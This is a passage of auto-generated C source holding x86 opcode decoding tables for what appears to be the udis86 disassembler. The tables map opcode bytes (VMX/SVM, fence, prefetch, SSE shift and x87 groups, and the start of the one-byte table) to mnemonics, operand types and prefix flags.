UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_04__VENDOR },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_00__mod__op_01__rm__op_01__vendor[2] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Ivmcall, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_00__mod__op_01__rm__op_03__vendor[2] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Ivmresume, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_00__mod__op_01__rm__op_04__vendor[2] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Ivmxoff, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_01__mod[2] = {\n /* 00 */ { UD_Isidt, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_01__MOD__OP_01__RM },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_01__mod__op_01__rm[8] = {\n /* 00 */ { UD_Imonitor, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Imwait, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_02__mod[2] = {\n /* 00 */ { UD_Ilgdt, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_03__mod[2] = {\n /* 00 */ { UD_Ilidt, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm[8] = {\n /* 00 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_00__VENDOR },\n /* 01 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_01__VENDOR },\n /* 02 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_02__VENDOR },\n /* 03 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_03__VENDOR },\n /* 04 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_04__VENDOR },\n /* 05 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_05__VENDOR },\n /* 06 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_06__VENDOR },\n /* 07 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_07__VENDOR },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_00__vendor[2] = {\n /* 00 */ { UD_Ivmrun, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_01__vendor[2] = {\n /* 00 */ { UD_Ivmmcall, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_02__vendor[2] = {\n /* 00 */ { UD_Ivmload, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_03__vendor[2] = {\n /* 00 */ { UD_Ivmsave, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_04__vendor[2] = {\n /* 00 */ { UD_Istgi, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_05__vendor[2] = {\n /* 00 */ { UD_Iclgi, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_06__vendor[2] = {\n /* 00 */ { UD_Iskinit, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_07__vendor[2] = {\n /* 00 */ { UD_Iinvlpga, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_04__mod[2] = {\n /* 00 */ { UD_Ismsw, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_06__mod[2] = {\n /* 00 */ { UD_Ilmsw, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_07__mod[2] = {\n /* 00 */ { UD_Iinvlpg, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_07__MOD__OP_01__RM },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_07__mod__op_01__rm[8] = {\n /* 00 */ { UD_Iswapgs, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_07__MOD__OP_01__RM__OP_01__VENDOR },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_07__mod__op_01__rm__op_01__vendor[2] = {\n /* 00 */ { UD_Irdtscp, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_0d__reg[8] = {\n /* 00 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__0f__op_18__reg[8] = {\n /* 00 */ { UD_Iprefetchnta, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iprefetcht0, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Iprefetcht1, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Iprefetcht2, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_71__reg[8] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Ipsrlw, O_PR, O_Ib, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Ipsraw, O_PR, O_Ib, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Ipsllw, O_PR, O_Ib, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_72__reg[8] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Ipsrld, O_PR, O_Ib, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Ipsrad, O_PR, O_Ib, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Ipslld, O_PR, O_Ib, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_73__reg[8] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Ipsrlq, O_PR, O_Ib, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Ipsllq, O_PR, O_Ib, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_ae__reg[8] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Ildmxcsr, O_Md, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Istmxcsr, O_Md, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG__OP_05__MOD },\n /* 06 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG__OP_06__MOD },\n /* 07 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG__OP_07__MOD },\n};\n\nstatic struct ud_itab_entry itab__0f__op_ae__reg__op_05__mod[2] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG__OP_05__MOD__OP_01__RM },\n};\n\nstatic struct ud_itab_entry itab__0f__op_ae__reg__op_05__mod__op_01__rm[8] = {\n /* 00 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_ae__reg__op_06__mod[2] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG__OP_06__MOD__OP_01__RM },\n};\n\nstatic struct ud_itab_entry itab__0f__op_ae__reg__op_06__mod__op_01__rm[8] = {\n /* 00 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_ae__reg__op_07__mod[2] = {\n /* 00 */ { UD_Iclflush, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG__OP_07__MOD__OP_01__RM },\n};\n\nstatic struct ud_itab_entry itab__0f__op_ae__reg__op_07__mod__op_01__rm[8] = {\n /* 00 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_ba__reg[8] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Ibt, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ibts, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ibtr, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Ibtc, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__0f__op_c7__reg[8] = {\n /* 00 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_C7__REG__OP_00__VENDOR },\n /* 01 */ { UD_Icmpxchg8b, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_C7__REG__OP_07__VENDOR },\n};\n\nstatic struct ud_itab_entry itab__0f__op_c7__reg__op_00__vendor[2] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Ivmptrld, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__0f__op_c7__reg__op_07__vendor[2] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Ivmptrst, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__0f__op_d9__mod[2] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_D9__MOD__OP_01__X87 },\n};\n\nstatic struct ud_itab_entry itab__0f__op_d9__mod__op_01__x87[64] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 08 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 09 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 10 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 11 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 12 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 13 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 14 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 15 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 16 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 17 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 18 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 19 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 21 */ { UD_Ifabs, O_NONE, O_NONE, O_NONE, P_none },\n /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 28 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 29 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 30 */ { UD_If2xm1, O_NONE, O_NONE, O_NONE, P_none },\n /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte[256] = {\n /* 00 */ { UD_Iadd, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iadd, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Iadd, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Iadd, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Iadd, O_AL, O_Ib, O_NONE, P_none },\n /* 05 */ { UD_Iadd, O_rAX, O_Iz, O_NONE, P_oso|P_rexw },\n /* 06 */ { UD_Ipush, O_ES, O_NONE, O_NONE, P_inv64|P_none },\n /* 07 */ { UD_Ipop, O_ES, O_NONE, O_NONE, P_inv64|P_none },\n /* 08 */ { UD_Ior, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 09 */ { UD_Ior, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 0A */ { UD_Ior, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 0B */ { UD_Ior, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 0C */ { UD_Ior, O_AL, O_Ib, O_NONE, P_none },\n /* 0D */ { UD_Ior, O_rAX, O_Iz, O_NONE, P_oso|P_rexw },\n /* 0E */ { UD_Ipush, O_CS, O_NONE, O_NONE, P_inv64|P_none },\n /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 10 */ { UD_Iadc, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 11 */ { UD_Iadc, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 12 */ { UD_Iadc, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 13 */ { UD_Iadc, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 14 */ { UD_Iadc, O_AL, O_Ib, O_NONE, P_none },\n /* 15 */ { UD_Iadc, O_rAX, O_Iz, O_NONE, P_oso|P_rexw },\n /* 16 */ { UD_Ipush, O_SS, O_NONE, O_NONE, P_inv64|P_none },\n /* 17 */ { UD_Ipop, O_SS, O_NONE, O_NONE, P_inv64|P_none },\n /* 18 */ { UD_Isbb, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 19 */ { UD_Isbb, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 1A */ { UD_Isbb, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 1B */ { UD_Isbb, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 1C */ { UD_Isbb, O_AL, O_Ib, O_NONE, P_none },\n /* 1D */ { UD_Isbb, O_rAX, O_Iz, O_NONE, P_oso|P_rexw },\n /* 1E */ { UD_Ipush, O_DS, O_NONE, O_NONE, P_inv64|P_none },\n /* 1F */ { UD_Ipop, O_DS, O_NONE, O_NONE, P_inv64|P_none },\n /* 20 */ { UD_Iand, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 21 */ { UD_Iand, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 22 */ { UD_Iand, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 23 */ { UD_Iand, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 24 */ { UD_Iand, O_AL, O_Ib, O_NONE, P_none },\n /* 25 */ { UD_Iand, O_rAX, O_Iz, O_NONE, P_oso|P_rexw },\n /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 27 */ { UD_Idaa, O_NONE, O_NONE, O_NONE, P_inv64|P_none },\n /* 28 */ { 